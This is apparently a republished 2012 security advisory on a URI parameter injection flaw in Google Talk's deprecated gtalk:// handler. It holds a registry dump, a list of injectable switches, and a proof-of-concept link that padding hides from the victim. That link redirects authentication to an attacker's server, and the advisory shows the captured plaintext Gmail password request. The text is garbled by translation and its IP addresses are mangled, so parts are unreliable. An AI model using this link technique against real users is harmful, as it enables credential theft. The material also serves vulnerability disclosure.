Google GTALK: Deprecated URI parameter Injection Vulnerability

Source: Internet
Author: User

Google Talk gtalk: // Deprecated Uri Handler/gaiaserver Parameter Injection Vulnerability
Tested against: Internet Explorer 8
Microsoft Windows (all versions)
Download url of 1.0.0.104:
Http://www.google.com/talk/install.html
Download urls of 1.0.0.105:
Http://www.google.com/talk/intl/it/
Http://www.google.com/talk/intl/fr/
Http://www.google.com/talk/intl/de/
...
Rgod: "Why two versions are downloadable on the internet at the same time? "
-Who is vulnerable?
-More probably international users, non Eglish speaking one
-When this attack does not work:
-When you install Google Talk 1.0.0.104
-Then you uninstall diligently 1.0.0.104
-Then you install 1.0.0.105
-When this attack works:
-When you install Google Talk 1.0.0.104
-Then you install 1.0.0.105
Or
-When you installed multiple times, never using the uninstall functionality
Which is the reality of it
-Why?
Because 1.0.0.105 has not the gtalk: // uri handler functionality but the command line behaviour changed
Indeeds, 1.0.0.104 or 1.0.0.105 are not vulnerable alone but 1.0.0.105, when installed, does not remove
The old uri handler.
My girlfriend's comment: "But people do not unistall the older one before installing the new one !!!! This is huge !!!!!!!!!! "
Rgod: "You are right, two steps are better than three"
Vulnerability: Injection of custom parameters
Google Talk 1.0.0.104 registers on windows a deprecated uri handler, registry dump:
[HKEY_CLASSES_ROOT \ gtalk]
"URL Protocol" = ""
[HKEY_CLASSES_ROOT \ gtalk \ shell]
[HKEY_CLASSES_ROOT \ gtalk \ shell \ open]
[HKEY_CLASSES_ROOT \ gtalk \ shell \ open \ command]
@ = "\" C :\\ Program Files \ Google Talk \ googletalk.exe \ "\"/% 1 \""
By crafting a link a remote user can inject custom command line parameters.
Injectable parameters:
/Plaintextauth
Uses plain authentication mechanic
/Gaiaserver [host: port]
Uses a different GAIA server to authenticate the client
/Nomutex
Allows multiple instances of Google Talk
Proof of concept:
<A href = ''gtalk: // mymail@gmail.com ????????????????????????????????????? ?????????????????? "% 20/plaintextauth % 20/gaiaserver % 20194252.101: 80% 20/nomutex % 20/''> chat with me </a>
(???????????? ... Are estethics, when prompted the victim does not see the other stuff)
Gmail credentials are sent to 192.168.201: 80 instead of google default gaia server, packet dump when sniffing the network
Or listening on that port:
POST/accounts/ClientAuth HTTP/1.1
Connection: Keep-Alive
Content-Length: [length]
Content-Type: application/x-www-form-urlencoded
Host: 192.168.2.101
User-Agent: Google Talk
Email = your % 40gmail.com & Passwd = % 70% 61% 73% 73 & PersistentCookie = false & source = googletalk
Password is plain text, urldecoded:
User: yout@gmail.com
Pass: pass
Now you are done, you spiffed your password to the unknown (edevil) world.
If you already logged in on gmail server olders credentials are sent without user interaction,
Otherwise if the user tries to login manually credentials are sent aswell to the attacker server
// Rgod-7.39 21/03/2012

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.